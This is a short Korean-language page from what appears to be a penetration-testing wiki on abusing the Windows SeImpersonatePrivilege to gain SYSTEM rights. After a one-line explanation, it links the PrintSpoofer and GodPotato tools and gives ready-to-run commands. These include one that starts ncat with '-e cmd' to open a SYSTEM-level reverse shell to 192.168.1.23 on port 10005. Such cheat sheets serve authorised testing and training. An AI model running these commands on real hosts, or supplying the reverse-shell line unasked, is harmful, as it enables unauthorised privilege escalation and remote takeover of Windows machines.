> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/windows/seimpersonateprivilege.md).

# SeImpersonatePrivilege

SeImpersonatePrivilege는 다른 사용자를 가장할 수 있는 권한입니다. 일반적으로 사용자 가장은 서비스나 시스템 계정에서 자동화된 업무를 위해 할당하는 권한입니다.

## Abuse

{% embed url="<https://github.com/itm4n/PrintSpoofer>" %}

{% embed url="<https://github.com/BeichenDream/GodPotato>" %}

{% tabs %}
{% tab title="PrinterSpoofer" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># PTY 쉘에서 시스템 권한 상승
</strong>.\PrintSpoofer.exe -i -c cmd

<strong># Non-PTY 쉘에서 시스템 권한의 리버스쉘 획득
</strong>.\PrintSpoofer.exe -c "C:\Tools\ncat.exe 192.168.1.23 10005 -e cmd"
</code></pre>

{% endtab %}

{% tab title="GodPotato" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># SYSTEM 권한으로 원라인 명령 실행
</strong>.\GodPotato-NET35.exe -cmd "cmd /c whoami"
</code></pre>

{% endtab %}
{% endtabs %}
